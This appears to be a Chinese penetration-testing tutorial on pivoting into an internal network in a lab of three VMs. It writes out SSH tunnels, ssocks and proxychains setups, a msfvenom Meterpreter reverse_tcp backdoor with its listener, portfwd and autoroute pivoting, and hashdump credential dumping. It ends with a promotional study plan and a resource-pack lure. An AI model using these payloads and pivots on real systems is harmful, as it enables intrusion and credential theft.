文章目录
-
环境搭建
-
SSH隧道
-
正向连接
-
反向隧道
-
sockets代理
-
MSF端口映射
-
Socket隧道
-
ssocks
-
反向代理
-
1.建立隧道
-
2.开启代理
-
正向代理
-
扫描内网
-
MSF跨路由扫描
-
简单收集信息
-
增加路由
-
MSF其他模块
-
推荐阅读
环境搭建
分别是三个虚拟机(我这里用的两个ubuntu,一个kali)
因为web服务器有两个ip所以需要添加一个网卡,然后设置LAN区段
注:一开始lan区段是空的,手动添加一个就行
数据库服务器同样将网卡模式设置为LAN网段
分别进入web服务器虚拟机和数据库服务器虚拟机,将IPV4设置为手动
手动设置IP地址,子网掩码,网关为LAN网段,设置完毕后,ifconfig查看,如果没有改变,手动断开网络连接重连
ifconfig效果:
web服务器:
数据库服务器:
kali:
注:之后的实验均采用此拓扑结构(IP稍有不同)
所有图中正确的网关为:192.168.179.2
SSH隧道
这是整个网络的拓扑(web服务器已经被拿下),分析下可以得知
- 内网WEB服务器有公私网双IP
- 攻击者和web服务器处于同一网络(192),可以联通,攻击者(192段)和数据库服务器不可以联通(10段)
- web服务器和数据库服务器可以联通(10段)
所以现在的目的就是通过web服务器建立隧道,使攻击者可以联通数据库服务器
正向连接
远程侦听端口,访问转发到本机主机指定端口。在web服务器上执行ssh命令
ssh –CNfL 0.0.0.0:7777:10.10.10.128:80 web@127.0.0.1
\# 命令解析:
ssh –CNfL <listen ip> <listen posrt> :<remote ip>:<remote port> WebServerUser(跳板机用户)@<ssh server> -p <ssh server port>
\-C 压缩传输
\-f 将SSH传输转入后台执行
\-N 建立静默连接
\-g 允许远程主机连接本地用于转发的端口
\-L 本地端口转发
运行命令,输入跳板机的ssh登陆密码,就可以了
映射成功后,攻击者使用浏览器访问web服务器(192.168.0.144)的7777端口,访问结果就是数据服务器的80端口的内容
反向隧道
1.web服务器执行以下命令:
ssh –qTfnN –R 2222:127.0.0.1:22 root@192.168.0.115
\# 命令解析:
ssh -qTfnN -R port:host:hostport remoteuser@remote\_ip
将本地22端口映射到攻击者的2222端口,执行之后需要输入remoteuser的密码
2.攻击者执行以下命令:
(注意要开启ssh服务,开启后执行以下操作)
ssh –p 2222 web@127.0.0.1
\# 命令解析:
连接端口
反向隧道类似于反弹shell,将web服务器的ssh端口映射,对于Windows服务器可以映射3389端口(RDP)
ssh -CfNg -R 11111:192.168.160.139:3389 root@192.168.160.140
kali上通过rdesktop连接本地的11111端口
rdesktop 127.0.0.1:11111
sockets代理
ssh -D '\[::\]:1080' JumpHost
SSH -qTfnN -D port remotehost
两种方法都没有成功
MSF端口映射
使用msf来完成正向连接和反向连接,原理都是一样的,拓扑还是之前的,不过这次web服务器是一个winserver
首先去拿shell
使用msf生成后门
msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.0.115 lport=12345 -f exe >/var/www/html/ss.exe
kali监听对应端口
use exploit/multi/handler
set payload windows/meterpreter/reverse\_tcp
set lhost 192.168.0.115
set lport 12345
exploit
端口映射
在winserver执行exe文件后拿到shell,在meterpreter中执行命令映射端口
portfwd add -L 192.168.0.115 -l 2020 -r 10.10.10.128 -p 80
\-L localhost
\-l localport
\-r remote ip
\-p remote port
直接将数据库服务器的80端口映射到了kali的2020端口,直接浏览器访问 http://192.168.0.115:2020 端口即可
转发端口
\# meterpreter
portfwd add -l 5555 -p 3389 -r 192.168.0.144
\-l localport
\-r remote ip
\-p remote port
rdesktop 127.1.1.0:5555
其他命令
查看列表
portfwd list
清空列表
portfwd flush
Socket隧道
拓扑
ssocks
sSocks是一个socks代理工具套装,可用来开启socks代理服务
下载连接:http://sourceforge.net/projects/ssocks
web服务器和kali都需要安装这款工具才能使用
下载之后进行编译,可以选择先下载到kali编译之后上传到web服务器,也可以直接在web服务器下载编译
./configure && make
src目录中存放了编译好的文件
反向代理
将远程计算机作为socks代理服务端,反弹回本地,方便内网的渗透测试
1.建立隧道
kali端:
./rcsocks -l 1088 -p 1080 -vv
\-vv 获取详细信息
等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道,将本地的1088端口的流量转发到1080端口
web服务器端:
./rssocks -vv -s 192.168.179.128:1080
#接收192.168.179.128:1080端口的流量
输入命令后通道就建立完毕了
2.开启代理
proxychains代理链是Linux下一款代理设置工具,kali中默认安装,ubuntu需要使用命令apt-get install proxychains
安装
kali端修改配置文件:
/etc/proxychains.conf
注释socks4添加socks5(注意是socks5下图有误)
测试
proxychains ssh 127.0.0.1
输入密码连接后,成功连接ssh,查看本机ip
使用firefox
proxychains firefox 10.0.0.2
我这边是经过了多次测试才成功,可以先试一下ssh再curl,由于Ssocks不稳定,所以不建议使用
正向代理
web服务器如下命令创建代理并监听192.168.179.147(自己的IP)
./ssocksd --bind 192.168.179.147 --port 6020
在攻击主机编辑proxychains代理配置文件,添加代理配置信息:socks5 192.168.179.147 6020
vi /etc/proxychains.conf
执行如下命令,连接内网服务器,查看ip得知代理成功。
1proxychains ssh 127.0.0.1
扫描内网
用kali里边的nmap扫描
proxychains nmap -Pn -sT 10.0.0.2
MSF跨路由扫描
在Kali生成后门文件
msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe
生成完毕,通过webshell将文件上传至win服务器
kali进入msf,开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse\_tcp
set lhost 192.168.179.128
set lport 12345
exploit
等win服务器那边点击了exe文件,这边就上线了
简单收集信息
- 查看当前用户
getuid
- 查看网卡信息
ifconfig
- 查看路由信息
run get\_local\_subnets
run autoroute -p
发现没有路由,接下来使用命令添加路由
增加路由
run autoroute -s 10.0.0.0/24
run autoroute -p
这样的话就添加了一条路由,但是仅这样是不行的,还有添加代理
background 之后使用 socks4a 模块
use auxiliary/server/socks4a
set SRVPORT 10044
修改配置文件
vi /etc/prxoychains.conf
注释掉原来的,添加一条新的
socks4 192.168.179.128 10044
这样的话路由就添加完成了
可以使用nmap对10.0.0.2进行端口扫描
proxychains nmap -sT -Pn 10.0.0.2
也可以用hydra进行密码爆破
MSF其他模块
- metasploit的主机发现模块
use auxiliary/scanner/discover/arp_sweep - hash收集
run hashdump
接下来我将给各位同学划分一张学习计划表!
学习计划
那么问题又来了,作为萌新小白,我应该先学什么,再学什么?
既然你都问的这么直白了,我就告诉你,零基础应该从什么开始学起:
阶段一:初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划,当你学完后,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web渗透、安全服务、安全分析等岗位;其中,如果你等保模块学的好,还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(1周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(1周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(1周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
那么,到此为止,已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗?
阶段二:中级or高级网络安全工程师(看自己能力)
综合薪资区间15k~30k
7、脚本编程学习(4周)
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力。
零基础入门的同学,我建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习
搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP,IDE强烈推荐Sublime;
Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三:顶级网络安全工程师
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
学习资料分享
当然,只给予计划不给予学习资料的行为无异于耍流氓,这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包,可点击下方二维码链接领取哦。